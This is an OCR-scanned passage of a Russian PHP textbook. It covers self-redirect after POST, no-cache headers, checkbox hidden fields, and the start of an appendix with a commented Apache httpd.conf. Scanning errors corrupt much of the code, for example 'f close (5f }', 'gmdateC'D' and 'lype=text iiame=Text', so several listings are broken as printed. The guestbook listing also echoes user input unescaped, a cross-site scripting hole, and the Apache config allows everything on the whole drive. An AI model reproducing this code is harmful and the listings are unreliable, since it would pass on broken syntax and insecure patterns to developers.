// Если WalkSite ( ) вернула false , значит , процесс закончился .

if ( !WalkSite($DOCUMENT_ROOT , "Walk" , "map", 0, $Result) ) {

// В качестве примера просто выводим содержимое массива ,

// сформированного вызовами функции Walk ( ) . Реальный код

// должен был бы вырабатывать HTML-представление карты ,

// данные которой накоплены в $Result .

print "<hr>";

print join("<br>\n" , $Result ) ;

} else {

// для примера заставляем страницу обновить саму себя ,

// имитируя многократные посещения пользователей .

print "<meta http-equiv=ref resh content='0 ; url=$SCRIPT_NAME'>" ;

В этом сценарии функции waiksite o передается о как значение размера
кванта времени, в течение которого можно собирать данные о сайте. Это оз-
начает, что файлы будут обрабатываться по одному при каждом запросе.
В реальном коде карты сервера, конечно, это не так — нужно указывать при -
емлемый промежуток времени, чтобы в него "уложилась" обработка сразу не-
скольких страниц. Чем меньше будет этот промежуток, тем менее заметным
для пользователя станет замедление, связанное с работой сценария, но тем
значительнее будут "накладные расходы", вызванные работой функций сериа-
лизации. Так что тут нужно выбирать некоторый "средний" вариант. Проще
всего это сделать опытным путем — например, так, чтобы примерно за час
при известной посещаемости успевала перестроиться вся карта сервера.

^" Примечание

Функция WalkSit e о из листинга 33.2 работает с файлами, устанавливая на
них рекомендательные блокировки. Этот процесс хоть и позволяет обойти про-
блемы с разделением доступа к файлам, немного сложен для понимания. Он
подробно описан в главе 15 части IV.

----------------------- Page 516-----------------------
Глава 33. Разные советы 501

Использование самопереадресации

Термин самопереадресация (или , в английском варианте, self-redirect) означа-
ет свойство сценария подавать в браузер клиента запрос, заставляющий его
(браузер) заново выполнить и загрузить этот сценарий с сервера. Звучит, как
языческое заклинание, не правда ли? Пожалуй, с первого взгляда не совсем
ясно, зачем же может понадобиться эта хваленая самопереадресация в Web-
программировании.

Рассмотрим пример. Предположим, у нас имеется сценарий — гостевая книга
наподобие той, эскиз которой мы рассматривали в главе 30. С точки зрения
пользователя сценарий представляет собой страницу с адресом
http://www.ourserver.ru/book/index.htmi . Если набрать этот адрес в брау-
зере, появится, во-первых, форма с предложением добавить новое сообщение
в книгу, а во-вторых, список ранее добавленных "посланий". В атрибуте
action тэга <form > указан адрес той же самой страницы index.html (это впи-
сывается в трехуровневую схему разработки сценариев), поэтому после набора
сообщения и нажатия на кнопку отправки фактически снова загружается та
же самая страница. Только перед ее загрузкой генератор данных гостевой
книги определяет, что необходимо добавить новую запись, и делает это.

В общем-то, довольно стандартная схема. Пусть пользователь набрал свое
послание и отправил его на сервер. Перед ним появится список сообщений,
первым из которых будет его собственное. Пока вроде бы все верно. И те-
перь пользователь, ничего не подозревая, нажимает на кнопку Обновить в
браузере, заставляя последний, как он думает, перезагрузить страницу госте-
вой книги .

Но в действительности происходит совсем не то, что он ожидает. Если дан-
ные формы были посланы методом POST, браузер выведет на экран диалого-
вое окно запроса примерно такого содержания: "Вы пытаетесь обновить
данные страницы, которая была сгенерирована с применением метода POST.
Повторить отправку данных (да или нет)?" Если пользователь нажмет кноп-
ку Нет, то гостевая книга не перезагрузится, а появится совершенно беспо-
лезная стандартная страница с сообщением о том, что "данные устарели".
Если же он подтвердит вторичную отправку данных, его сообщение будет
добавлено в книгу еще раз, а потому "размножится". Довольно нетрудно по-
нять, почему так происходит: ведь браузер "не знает", что в действительно-
сти пользователь хочет лишь вторично "зайти" на адрес страницы книги , а
не повторить отправку всех данных формы.
Однако ситуация становится еще плачевнее, если мы применяем в нашей
гостевой книге метод GET. В этом случае при нажатии на кнопку Обновить
браузер "без лишних разговоров" пошлет данные формы на сервер повторно,
так что сообщение будет лишний раз добавлено в гостевую книгу без преду-
преждений. И это тоже понятно: ведь метод GET — не что иное, как простое

----------------------- Page 517-----------------------
502 _ Часть V. Приемы программирования на РНР

изменение URL страницы, а именно, добавление в его конец символа ?,
после которого следуют параметры (в том числе текст записи).

С~ Замечание ^

Впрочем, метод GET практически никогда не применяется в интерактивных сце-
нариях, таких как гостевые книги, форумы и т. д. Мы уже говорили в первой
части книги на эту тему, но она настолько важна, что я повторюсь. Если для од-
них и тех же данных формы при их многократной отправке страница всегда
выглядит одинаково, значит, эти данные логично передавать методом GET.
В противном случае необходимо применять метод POST. Такое положение
вещей связано также и с тем, что некоторые proxy-серверы могут кэшировать
страницы, полученные методом GET, но они никогда не кэшируют их при ис-
пользовании POST.

Самопереадресация — это как раз то средство, которое позволяет разрешить
рассмотренный конфликт в сторону пользователя. В самом деле, предполо-
жим, что при получении уведомления о новом сообщении генератор данных
вставляет их в базу данных, а затем посылает браузеру заголовок, застав-
ляющий его перезагрузить страницу гостевой книги. В этом случае страница
уже не будет представлять собой результат работы метода POST, это будет
обычный HTML-документ, загруженный с сервера, как будто бы пользова-
тель считал файл только что самостоятельно и "вручную". Неудивительно,
что кнопка браузера Обновить будет работать так, как ей и положено.

Впрочем, при использовании самопереадресации очень легко наткнуться на
один неприятный "подводный камень". Это — ошибка некоторых версий
браузера Netscape, заключающаяся в том, что любые страницы, полученные
им в результате самопереадресации, он ошибочно принимает за пустые (и
соответственно отображает). И все же выход есть: достаточно немного мо-
дифицировать URL страницы, чтобы браузер "подумал", что это уже другой
документ, а не тот же самый. Листинг 33.3 показывает, как это можно сде-
лать. В целях экономии места я разместил шаблон страницы и генератор
данных в одном файле.

] Листинг 33.3. Самопереадресация

"

// Считываем содержимое базы данных .

$Book=@Unserialize ( join ("", File ("book.dat") ) ) ;
if(!$Book) $Book=array ( ) ;

// Проверяем , не нужно ли добавить запись.. .
if(@$Go) {

array_unshift ($Book,$Text) ;
$f=f open ("book.dat" , "w") ;

----------------------- Page 518-----------------------
Глава 33. Разные советы 503

fwrite ($f , Serialize ($Book) ) ;
f close (5f } ;
// Внимание ! Самопереадресация . Обратите внимание на то ,
// какой заголовок мы посылаем .
Header ("Location : http : //$HTTP_HOST$REQUEST_URI? " . time ( ) ) ;
exit; // Завершить сценарий .

<form action=sr .php method=post>
Введите текст :<br>

<input lype=text iiame=Text><br >

<input type=submit name=Go value="Go!">
</form>
<?foreach($Book as $k=>$v ) {?>
<?=$v?>
<hr>

Мы обеспечиваем "уникальность" URL страницы гостевой книги за счет до-
бавления в его конец текущего времени в секундах, прошедших с 1 января
1970 года (так называемый Unk timestamp). Вряд ли пользователь будет об-
новлять страницу чаше, чем раз в секунду , поэтому такой способ прекрасно
подходит для наших целей.

Обратите внимание на то, что в заголовке Location мы передаем полный
URL страницы, включая имя хоста. Большинство браузеров умеют "пони-
мать" и сокращенные пути (например, без указания имени сервера), но не-
которые — нет, так что лучше не искушать судьбу.

Запрет кэширования страниц

Изрядное количество сценариев генерируют страницы, которые постоянно
изменяются во времени , поэтому кэширование таких документов, которое
иногда пытаются провести "слишком умные" браузеры и proxy-серверы, сле-
дует отключить. В противном случае пользователь может увидеть устарев-
шие данные и не заметить, что ваша страница изменилась .

Вообще говоря, если браузер "захочет" сохранять страницу в кэше и затем по-
стоянно выдавать пользователю одно и то же, никакая сила не сможет запре-
тить ему делать это. К счастью, большинство браузеров более "послушны" -
они адекватно реагируют на специальные заголовки запрета кэширования, ко-
торые могут присутствовать в странице, полученной с сервера. То же самое
делают и proxy-серверы — правда, они используют уже другие заголовки.

----------------------- Page 519-----------------------
504 _ Часть V. Приемы программирования на РНР

В листинге 33.4 приведены четыре заголовка, которые необходимо послать
вместе с телом страницы, чтобы браузеры и proxy-серверы не пытались ее
кэшировать. Опыт подтверждает, что эти 4 заголовка — минимум. Если уб-
рать хотя бы один из них, некоторые proxy-серверы (или браузеры) могут
"не понять", что от них требуется.

| Листинг 33.4. Заголовки для запрета кэширования
: ....................... . ............................................................................................................. ... ....................................................... .!

Header ( "Expires : Mon , 26 Jul 199V 05:00:00 GMT"); // Дата в прошлом
Header ("Last-Modified : ".gmdateC'D , d M Y H : i : s") . "GMT") ; // Изменилась

Header ("Cache-Control : no-cache , must-revalidate") ; // для HTTP/1.1
Header ("Pragma : no-cache"); // для HTTP/1.0

Излишне напоминать, что все заголовки должны быть отправлены до пер-
вой команды вывода в сценарии.

^ Примечание"

При использовании шаблонизатора наподобие того, который был описан в гла-
ве 30, это требование является необязательным. В таком случае весь резуль-
тат работы сценария и шаблона буферизируется и не отправляется в браузер
до самого последнего момента.

Несколько слов о флажках checkbox

Переключатель с независимым выбором (checkbox или более коротко -
флажок) имеет одну довольно неприятную особенность, которая иногда мо-
жет помешать Web-программисту. Вы, наверное, помните, что когда перед
отправкой формы пользователь установил его в выбранное состояние, то
сценарию в числе других параметров приходит пара имя_флажка=значение .
В то же время, если флажок не был установлен пользователем, указанная
пара не посылается. Часто это бывает не совсем то, что нужно. Мы бы хоте-
ли , чтобы в невыбранном состоянии флажок также присылал данные, но
только значение было равно какой-нибудь специальной величине — напри-
мер, нулю или пустой строке.
К нашей радости, добиться этого эффекта в РНР довольно несложно. Доста-
точно воспользоваться одноименным скрытым полем (hidden) со значением,
равным, например, нулю, разместив его перед нужным флажком. Вот пример:

| Листинг 33.5. Гарантированная установка значений флажков

if(@$Go)

----------------------- Page 520-----------------------
Глава 33. Разные советы _ 505

foreach ($Known as $k=>$v)
if ($v) echo "Вы знаете язык $k!<br>" ;
else echo "Вы не знаете языка $k. <br>";

<form action=lang.php method=post>
Какие языки программирования вы знаете?<Ьг>
<input type=hidden name=Known[PHP] value=0>
<input type=checkbox name= Known [PHP] value=l>PHP<br>
<input type=hidden name=Known[Perl] value=0>
<input type=checkbox name=Known[Perl] value=l>Perl<br>
<input type=submit name=Go value="Go!">
</form>

Теперь в случае, если пользователь не выберет какой-нибудь из флажков,
браузер отправит сценарию пару Known [ язык ]=о , сгенерированную соответ-
ствующим скрытым полем, и в массиве $Known создастся соответствующий
элемент. Если пользователь выбрал флажок, эта пара также будет послана,
но сразу же после нее последует пара Known [ язык] =1, которая "перекроет"
предыдущее значение.

Не включи мы скрытые поля в форму из листинга 33.5, сценарий печатал
бы только сообщения о тех языках, которые "знает пользователь", пропуская
языки, ему "неизвестные". В нашем же случае сценарий реагирует и на не-
установленные флажки.

К^~ Примечание

Такой способ немного увеличивает объем данных, передаваемых методом
POST, за счет тех самых пар, которые генерируются скрытыми полями. Впро-
чем, в реальной жизни это "увеличение" практически незаметно (особенно для
розт-форм).

----------------------- Page 521-----------------------

----------------------- Page 522-----------------------
ЧАСТЬ VI

ПРИЛОЖЕНИЯ

----------------------- Page 523-----------------------

----------------------- Page 524-----------------------
Приложение 1 !
4 Г\ "'''•••
iui Y
к- '<- \_ ''is
* т
Файл конфигурации
Apache httpd.conf

Это приложение содержит полный текст файла конфигурации сервера
Apache httpd.conf с комментариями на русском языке.

( Замечание ~~)

Содержимое листинга П1.1 полностью соответствует указаниям по настройке
Apache, приведенным в части II книги. Если у вас по какой-то причине не получится
правильно установить Apache и РНР версии 4, руководствуясь этими указаниями,
представленный ниже текст файла httpd . conf решит все проблемы.

Несколько слов о формате httpd.conf . Файл состоит из строк, содержащих
директивы Apache. В одной строке может быть расположено не более одной
директивы . Текст от # до конца строки считается комментарием и не берет-
ся в рассмотрение. Также игнорируются пустые строки.

При изменении начальной конфигурации файла возможно группирование
нескольких директив в блоки, или контейнеры. При этом Apache поддержи-
вает только ограниченное количество допустимых типов контейнеров. Лю-
бой блок-контейнер начинается строкой вида <имяконтейнера> , располо-
женной , как обычно, на отдельной строке, и завершается тэгом
</Имяконтейнера>. Некоторые (но не все) блоки могут быть вложенными .

Директивы, касающиеся индивидуальных настроек для каталогов или фай-
лов, могут также помещаться в специальные файлы .htaccess , расположен-
ные в соответствующих местах дерева каталогов сайта. Эти файлы должны
иметь тот же формат, что и httpd.conf . Однако для них имеются особые
ограничения на использование директив и блоков — список недопустимых
можно найти в документации , поставляемой с Apache .

| Листинг П1.1. Файл конфигурации Apache httpd . conf

i Основан на конфигурационных файлах сервера NSCA , созданных

# Робом МакКулом .

#
# Главный файл конфигурации сервера Apache , содержащий директивы ,

----------------------- Page 525-----------------------
510 Часть VI. Приложения

# управляющие работой сервера . За более детальной информацией

# обращайтесь по адресу http://www.apache.org/docs/ .

#

# Не стоит читать эти директивы без понимания их роли . Они

# приведены здесь лишь в качестве примера одного из возможных

I вариантов . В случае сомнений обращайтесь к сопроводительной

# документации . Считайте , что вас предупредили .

#

# После просмотра и анализа файла httpd.conf сервер

# попробует найти и обработать файлы :

# С:/Program Files/Apache Group/Apache/conf/srm.conf , а затем

I С:/Program Files/Apache Group/Apache/conf/access.conf ,

# если вы не переопределили эти имена директивами ResourceConfig

# и/или AccessConfig .

и

# Директивы конфигурации сгруппированы в три основных раздела :

#

# 1 . Директивы , управляющие процессом Apache в целом (глобальное

# окружение) .

# 2 . Директивы , определяющие параметры "главного " сервера , или

if сервера "по умолчанию" , отвечающего на запросы , которые

# не обрабатываются виртуальными хостами . Эти директивы задают

it также установки по умолчанию для всех остальных виртуальных хостов .

# 3 . Установки для виртуальных хостов , позволяющие обрабатывать

# запросы Web одним-единственным сервером Apache , но направлять

it по раздельным IP-адресам или именам хостов .

#

# Файлы конфигурации программы и журналы регистрации событий

# (в программисткой среде они чаще называются "конфигами " и "логами" ,

# так что , я думаю , ничего страшного не произойдет , если я буду

# придерживаться этой терминологии и здесь) .

# Если имена файлов , определенных вами для управления сервером ,

# начинаются с символа / (или "диск:/" для Win32) , сервер будет

# использовать явно указанный в этом имени полный путь . Если же имена не

# начинаются с "/", то для определения пути будет задействовано значение

# директивы ServerRoot . Так , logs/foo.log при значении ServerRoot ,

# равном /usr/local/apache , будет интерпретироваться сервером как

# /usr/local/apache/logs/too.log.

#

----------------------- Page 526-----------------------
Приложение 1. Файл конфигурации Apache httpd.conf 51 1

f Внимание : В определении имен файлов вы должны использовать прямые слэши

tt вместо обратных (т . е . с : /apache вместо c:\apache ) . Если не указано

# имя диска , по умолчанию будет выбран диск , на котором размещен

# Apache.exe ; тем не менее , во избежание путаницы , рекомендуется , чтобы

# вы всегда явно указывали в абсолютных путях имя диска .

it

### Раздел 1 : Глобальное окружение

#

# Директивы в этом разделе определяют общие параметры Apache , такие как ,

# например , число запросов , которое он может обрабатывать одновременно ,

# или где ему искать свои файлы конфигурации .

# Директива ServerType может иметь значения inetd или standalone .

# Режим inetd поддерживается только на платформах Unix .

ServerType standalone

# •

# ServerRoot : вершина дерева каталогов , в которых содержатся файлы

I конфигурации , регистрации и отслеживания ошибок .

#

# В конце строки добавлять слэш не следует !

ServerRoot "С: /Program Files/Apache Group/Apache "

#

# PidFiie : Файл , куда сервер при запуске должен записывать свой

# идентификатор процесса .

PidFile logs/httpd.pid

# ScoreBoardFile : Учетный файл , предназначенный для хранения внутренней

# информации процесса сервера . Он необходим не для всех архитектур .

I Если для вашей он нужен (об этом можно судить по тому , будет ли создан

# такой файл , когда вы запустите Apache ) , то вы должны обеспечить , чтобы

# никакие два экземпляра процесса Apache не использовали один и тот же

# учетный файл .

ScoreBoardFile logs/apache_runtime_status

----------------------- Page 527-----------------------
512 Часть VI, Приложения

#
i В стандартной конфигурации сервер обработает при запуске файлы
# httpd.conf , srm.conf и access.conf (именно в таком порядке) .
# Последние два файла в настоящее время поставляются пустыми , поскольку
# теперь рекомендуется для простоты , чтобы все директивы указывались в
# одном файле (htt-pcl . conf ) .
# Закомментированные ниже значения встроены в сервер по умолчанию .
# Если вы используете другие имена файлов , отредактируйте и
# раскомментируйте "умолчальные" . Если потребуется , чтобы сервер
# проигнорировал эти файлы , вы можете указать значения /dev/null (для
# Unix ) или nul (для Win32) .
#ResourceConfig conf/srm.conf
#AccessConfig conf/access.conf

#
# Timeout : Время ожидания в секундах , прежде чем сервер примет или
# отправит сообщение о тайм-ауте .
Timeout 300

#
# KeepAlive : Признак , позволено или нет устанавливать долговременные
# соединения (persistent connections ) (т.е . когда обрабатывается более
# одного запроса на соединение) . Для запрета укажите значение Off .
KeepAlive On

if
# MaxKeepAliveRequests : Максимальное число запросов , допустимое в одном
# долговременном соединении . Для снятия ограничений обнулите параметр ,
# но для максимального быстродействия мы рекомендуем указать заведомо
# большое конкретное значение .
MaxKeepAliveRequests 100

#
# KeepAliveTimeout : Время ожидания в секундах следующего запроса от
# одного и того же клиента в одном подключении .
KeepAliveTimeout 15

#
# Для обработки запросов Apache для Win32 всегда порождает один дочерний

----------------------- Page 528-----------------------
Приложение 1. Файл конфигурации Apache httpd.conf _ 513

# процесс . Если он по каким-либо причинам будет преждевременно завершен ,

# другой дочерний процесс создается автоматически . Поступающие запросы

# внутри такого дочернего процесса обрабатываются отдельными потоками .

# Следующие две директивы управляют поведением таких потоков и процессов .

#

# MaxRequestsPerChild : Число запросов , которое позволено обрабатывать

# дочернему процессу до переполнения . При переполнении дочерний процесс

# будет принудительно завершен , чтобы избежать проблем при длительной

# непрерывной работе , если Apache (или используемые им библиотеки ) ,

# допускают утечку памяти или других ресурсов . На большинстве систем
# это не требуется , но некоторые (например , Solaris ) имеют заметные
# утечки в библиотеках . Если нет других рекомендаций , для Win32
# установите значение 0 (без ограничений ) .
#
MaxRequestsPerChild О

# ThreadsPerChild : Число одновременно выполняющихся потоков (т.е .
# запросов ) , которое допускает сервер . Установите это значение в

# соответствии с требуемой загрузкой сервера (больше активных запросов

# одновременно означает , что они обслуживаются медленнее ) и объемом
# системных ресурсов , который вы можете предоставить серверу .
#
ThreadsPerChild 50

#
# Listen : Позволяет привязать Apache к конкретному адресу IP , и/или
# порту , в дополнение к порту , определенному по умолчанию . См . также
# директиву <VirtualHost> .
ft
ttListen 3000
#Listen 12.34.56.78:80

tt
# BindAddress : Этой опцией вы можете обеспечить поддержку виртуальных
# хостов . Данная директива используется для указания серверу адреса IP ,
# который необходимо отслеживать . Она может содержать * , адрес IP или
I полное имя домена Интернета . См . также директивы <VirtualHost> и Listen .

----------------------- Page 529-----------------------
514 _ ^ _ Часть VI. Приложения

#

tBindAddress *

# Поддержка динамически разделяемых объектов (DSO , Dynamic Shared Object )

if
# Для того чтобы иметь возможность использовать модуль , созданный как

# библиотека DSO , вам следует поместить в этом месте соответствующую

# строку LoadModuleTorfla модуль будет доступен

# прежде обращения к нему .

# За детальными разъяснениями механизмов DSO вы можете обратиться к

I файлу README . DSO в дистрибутиве Apache 1.3 , а также выполнить

# команду 'apache -1', чтобы получить список уже встроенных

# (статически скомпонованных и таким образом всегда доступных )

# модулей сервера Apache .

И

# Внимание : Порядок , в котором загружаются модули , имеет большое

# значение . Не меняйте нижеследующий порядок без консультации со

# специалистом .

#
#LoadModule anon_auth_module modules/ApacheModuleAuthAnon.dll

#LoadModule dbm_auth_module modules/ApacheModuleAuthDBM.dll

#LoadModule digest__auth_module modules /ApacheModuleAuthDigest . dll

#LoadModule cern_meta_module modules /ApacheModuleCERNMeta.dll

#LoadModule digest_module modules/ApacheModuleDigest .dll

#LoaoWodule expires_module modules/ApacheModuleExpires .dll

#LoadModule headers_module modules/ApacheModuleHeaders .dll

lLoadModule proxy_module modules/ApacheModuleProxy.dll

#LoaoModule rewrite_module modules/ApacheModuleRewrite.dll

#LoadModule speling_module modules/ApacheModuleSpeling.dll

tLoadModule info_module modules/ApacheModulelnfo.dll

ILoadModule status_module modules /ApacheModuleStatus .dll

#LoadModule usertrack_module modules /ApacheModuleUserTrack . dll

# Директива ExtendedStatus определяет , будет ли Apache генерирова

# детальную информацию о состоянии (ExtendedStatus On ) или только

# общую информацию (ExtendedStatus Off) при обращении к функции

# server-status . Значение по умолчанию — Off .

----------------------- Page 530-----------------------
Приложение 1. Файл конфигурации Apache httpd.conf 515

ft

ttExtendedStatus On

### Раздел 2 : Конфигурация сервера по умолчанию

fl

# Директивы этого раздела устанавливают значения , используемые "главным

# сервером" , который отвечает на запросы , не обрабатываемые виртуальными

# хостами . Эти значения обусловливают также установки по умолчанию для

# любых контейнеров <VirtualHost> , которые вы будете определять

# здесь далее .

#

# Любые из директив раздела могут быть включены в контейнер

# <VirtualHost> ; в таком случае установки по умолчанию будут

# переопределены ими для этого виртуального хоста .

#

tt Если в директиве ServerType (установленной ранее в разделе "Глобальное

t окружение") задано значение inetd , следующие несколько директив не

# имеют никакого эффекта , поскольку их значение определено конфигурацией

# inetd . Переходите к директиве ServerAdmin .

#

# Port : Номер порта , к которому подключен сервер .

#

Port 80

I ServerAdmin : Ваш адрес , по которому следует направлять сообщения о

# проблемах с сервером . Этот адрес появится на некоторых сгенерированных

# сервером страницах , таких , как сообщения об ошибках ,

t

ServerAdmin you@your.address

# Директива ServerName задает имя хоста , возвращаемое клиенту , если это

I имя отличается от того имени , которое получила программа (например ,

# используйте www вместо реального имени хоста) .

----------------------- Page 531-----------------------
516 Часть VI. Приложения

#
# Внимание : Вы не можете просто выдумывать имена хостов в надежде , что
# это сработает . Имя , которое вы определяете здесь , должно быть
# действительным именем DNS для вашего хоста . В случае затруднений с
I пониманием изложенного справьтесь у
# администратора сети .
# Если ваш хост не имеет зарегистрированного имени DNS , вы можете указать
# здесь его адрес IP . В таком случае вам придется обращаться к хосту по
# адресу (например , http://123.45.67.89/) и это может сильно осложнить
# переадресацию ресурсов .
It
ServerName localhost

# DocumentRoot : Каталог , в котором будут находиться ваши документы (т.е .
# Web-страницы) . По умолчанию , все запросы выбираются из этого каталога;
# для указания же других мест могут использоваться символические ссылки
# (links) и псевдонимы (aliases) .

#
DocumentRoot "z : /home/localhost/www "

#

# Каждый каталог , к которому Apache имеет доступ , может быть
# сконфигурирован в отношении свойств и сервисов , которые могут быть
# разрешены и/или запрещены в этом каталоге (и его подкаталогах ! .
#
# Сначала мы определяем свойства "по умолчанию " .
if
<Directory z:/>
Options Indexes Includes
AllowOverride All
allow from all
</'Directory>

#
# Обратите внимание , что с этого места и далее вы должны явным образом
# указывать свойства , которые могут быть разрешены , — так что , если что-то
# не работает так , как вы ожидаете , сначала убедитесь , что вы разрешили
# это свойство ниже .

----------------------- Page 532-----------------------
Приложение 1. Файл конфигурации Apache httpd.conf 517

#
# Здесь должен быть указан каталог , который вы установили как
# DocumentRoot .
#
tt<Directory "z:/home/localhost/www">;

tt
# Опции могут иметь значения None , All или любую комбинацию из

# Indexes , Includes , FollowSymLinks , ExecCGI или MultiViews .

#

# Заметьте , что MultiViews должен быть указан отдельно -
# Options All для этого не достаточно .
#
# Options Indexes FollowSymLinks MultiViews

#

# Директива перечисляет опции , которые могут быть переопределены в

# файлах .htaccess . Значением может быть All или любая комбинация из
# Options , Filelnfo , AuthConfig и Limit .
#
# AllowOverride None

# Эти директивы определяют , какие пользователи имеют доступ к информации ,
# расположенной на этом сервере .
I
tt Oraei а i J.GW , deny
!# Allow from all

#</Directory>

#
t UserDir : Название каталога , которое прибавляется к именам
t пользовательских домашних каталогов при получении запроса -user
# (например , http://www.server.com/~username) .
t
# Под Win3 2 мы в наст'счшее время не пытались устанавливать каталог
# регистрации пользователя , поэтому приходится работать с форматом ,
I приведенным ниже .
#

----------------------- Page 533-----------------------
518 Часть VI. Приложения

<IfModule mod_userdir.с >

UserDir "С:/Program Files/Apache Group/Apache/users/ "

</IfModule>

*f
# Directorylndex : Имя файла (или файлов) , используемое в качестве
# предопределенной страницы-указателя или оглавления . Если вы указываете
# несколько имен , разделяйте их пробелами .
ft
<IfModule mod_dir.c>
Directorylndex index.htm index.html
</IfModule>

tt
# AccessFileName : Имя файла , который сервер ищет в каждом каталоге для
§ определения прав доступа .
ft
AccessFileName .htaccess

#
# Следующие строки предотвращают доступ к файлам .htaccess со стороны
t Web-клиентов . Поскольку файлы .htaccess нередко содержат информацию об
# аутентификации , доступ к ним запрещен из соображений безопасности . Вы
# можете удалить эти строки (или поставить символ комментария) ,
# если допускаете , чтобы посетители могли просматривать содержимое файлов
f .htaccess из Web . Если вы поменяете значение директивы AccessFileName
# выше , не забудьте внести и сюда соответствующие изменения .
#

Л
<Files ~ " \.гЛ">

Order allow,deny

Deny from all

</Files>

#

# CacheNegotiatedDocs : По умолчанию с каждым документом Apache отправляет

# инструкцию "Pragma : no-cache" , что является указанием proxy-серверам не

# кэшировать данный документ . Если раскрыть следующую строку , то

# поведение proxy-серверов изменится и им будет разрешено кэшировать

# документы .

----------------------- Page 534-----------------------
Приложение 1. Файл конфигурации Apache httpd.conf 519

tt
#CacheNegotiatedDocs

#
I UseCanonicalName : (Впервые в версии 1.3.) Если эта директива включена
# (On) , то всякий раз , когда Apache требуется создать ссылку на самого
# себя (self-referencing URL , т.е . адрес сервера , с которого поступает

# ответ на запрос) , для формирования "канонического имени " он будет

# использовать значения директив ServerName и Port , когда это возможно .
# Если директива выключена (Off), Apache будет по возможности
# использовать значения , предоставленные клиентом . Эта директива влияет
# также на значения переменных SERVER_NAME и SERVER_PORT в CGI-сценариях .
#
UseCanonicalName On

#
tt Директива TypesConfig описывает расположение файла mime.types
# (или его эквивалента) .
11
<IfModule mod_mime.с>
TypesConfig conf/mime.types
</IfModule>

tt Директива DefaultType определяет MIME-тип , который будет использоваться
# для какого-либо документа , если сервер не сможет определить его по иным
# признакам , например , по расширению имени файла . Если ваш сервер
I содержит по большей части тексты или HTML-документы , text/plain
I является приемлемым решением . Если большая часть содержимого является
# исполняемыми файлами или изображениями , вы можете поменять значение на
tt application/octet-stream , чтобы предотвратить попытку браузера
# показать содержимое двоичного файла .
tt
DefaultType text/plain

tt
# Модуль mod_mime_magic позволяет серверу использовать разнообразные
# приемы определения типа файла по его содержимому . Директива
# MIMEMagicFile указывает ему файл , где даны описания таких приемов .

----------------------- Page 535-----------------------
520 Часть VI. Приложения

I По умолчанию mod_mime_magic не включен в состав сервера (вы должны

# загрузить его сами с помощью директивы LoadModule - см . абзац DSO в

# разделе "Глобальное окружение" , или заново откомпилировать сервер

# с этим модулем ) , поэтому директива MIMEMagicFile заключена в контейнер

# <IfModule> . Это означает , что она будет обработана только в том случае ,

# если модуль mod mime magic уже загружен .

#

<IfModule mod_mime_magic . с>

MIMEMagicFile conf/magic

</IfModule>

it

# Директива HostnameLookups определяет , регистрировать ли клиентов по

# именам , или только по адресам IP , т.е . www.apache.org (On) или

# 204.62.129.132 (Off) . По умолчанию — Off , поскольку для снижения

tt нагрузки на сеть было бы лучше , если бы вы использовали эту

# возможность , зная о последствиях , т.к . отслеживание по именам означает ,

# что каждый клиентский запрос приведет как минимум к еще одному запросу

# к серверу имен для преобразования IP-адреса в имя .

#

HostnameLookups Off

#

# ErrorLog : Расположение файла регистрации ошибок . Если вы не определяете

# директиву ErrorLog внутри контейнера <VirtualHost> , сообщения об

# ошибках , возникших при работе этого хоста , будут записаны в указанный

# ниже файл . В противном случае все сообщения направятся в специфичный

# для виртуального хоста журнал .

#

ErrorLog logs/error . log

# LogLevel : Определение характера ошибок , которые записываются в

# error.log . Возможные значения в порядке убывания количества сообщений :

# debug , info , notice , warn , error , crit , alert , emerg .

-ft

LogLevel warn

----------------------- Page 536-----------------------
Приложение 1. Файл конфигурации Apache httpd.conf 521

#

# Следующие директивы указывают псевдонимы некоторых форматов , которые

# используются в директиве CustomLog (см, ниже).

#

LogFormat "%h %1 tu it \"%r\" «> s sb \"% {User-AgenLii\"" combined

LogFormat "%h %1 %u %t \"%r\" %>s %b " common

LogFormat "%{Referer}i -> %U " referer

LogFormat "%{User-agent}i " agent

#

# Расположение и формат файла регистрации (лога) . Если вы не определяете

I никаких лог-файлов внутри контейнера <VirtualHost> , сведения

# будут записываться здесь . Если же вы определяете отдельный лог-файл

# для виртуального хоста , доступ будет отслеживаться в этом логе ,

# но не здесь .

#

CustomLog logs/access.log common

#

# Если вы хотите , чтобы имелся агент ссылочных логов (referer logfiles

# agent) , раскомментируйте следующие директивы .

#

ttCustomLog logs/referer.log referer

tCustomLog logs/agent.log agent

# Если вы предпочитаете иметь один лог-файл с информацией о доступе ,

# агентах и ссылках (комбинированный формат лог-файла) , вы можете

i использовать следующую директиву .

ttCustomLog logs/access.log combined

# Позволяет добавить дополнительную строку , содержащую версию сервера и

# имя виртуального хоста на страницах , сгенерированных сервером

# (сообщениях об ошибках , листингах каталогов FTP , в вывод модулей

# mod_status и mod_info , но не в CGI-документах) . Чтобы дополнительно

# включить ссылку mailto: , содержащую значение директивы ServerAdmin ,

tt установите значение EMail .

----------------------- Page 537-----------------------
522 Часть VI. Приложения

# Допустимые значения : On | Off | Email

#

ServerSignature On

it
# Apache по умолчанию анализирует первую строку каждого CGI-сценария .
# Если эта строка является комментарием и выглядит так : символ !#) ,
# затем восклицательный знак (!) и , наконец , путь к
# программе-интерпретатору , по которому осуществляется запуск
# сценария , Apache запускает этот интерпретатор .
# Например , для perl-сценариев , стартуемых под управлением perl.exe
# из каталога C:\Program FilesXPerl , эта строка должна выглядеть так :

# !с:/program files/perl/perl

# Внимание : вы не должны вставлять пробелы перед символом (#) . Кроме
# того , указанная специальная строка должна быть именно первой строкой
# файла . Конечно , для запускаемого файла должна быть разрешена обработка
# CGI — например , путем указания директивы ScriptAlias или
# Options ExecCGI .
#
# Тем не менее , Apache для Windows позволяет в дополнение к "магической "
# строке использовать Реестр для поиска ассоциаций с расширениями .
# Команда для запуска файла указанного типа в этом случае ищется в
# Реестре точно так же , как это происходит , например , при работе
# Проводника , когда вы выполняете двойной щелчок на файле . Действия по
# запуску сценария могут быть сконфигурированы из меню Вид Проводника .

# Там необходимо выбрать Свойства папки и переключиться на вкладку
# Типы файлов . Нажатие на кнопку Изменить позволяет задать действие ,
# которое Apache выполнит при попытке открытия файла . Если это не
# удастся , Apache будет искать интерпретатор при помощи "магической "
# строки . Возможно , поведение сервера изменится в Apache версии 2.0 .
tt
# Чтобы разрешить это специфичное для Windows поведение сервера и , таким
# образом , запретить анализ "магической " строки , удалите комментарий
# со следующей директивы :
и
ScriptInterpreterSource registry
#

----------------------- Page 538-----------------------
Приложение 1. Файл конфигурации Apache htipd.conf 523

# Эта директива может быть помещена в отдельный блок <Directory> или

# в файл .htaccess с указанием в качестве значения registry

# (поведение Windows ) или script (анализ "магической " строки , принятый

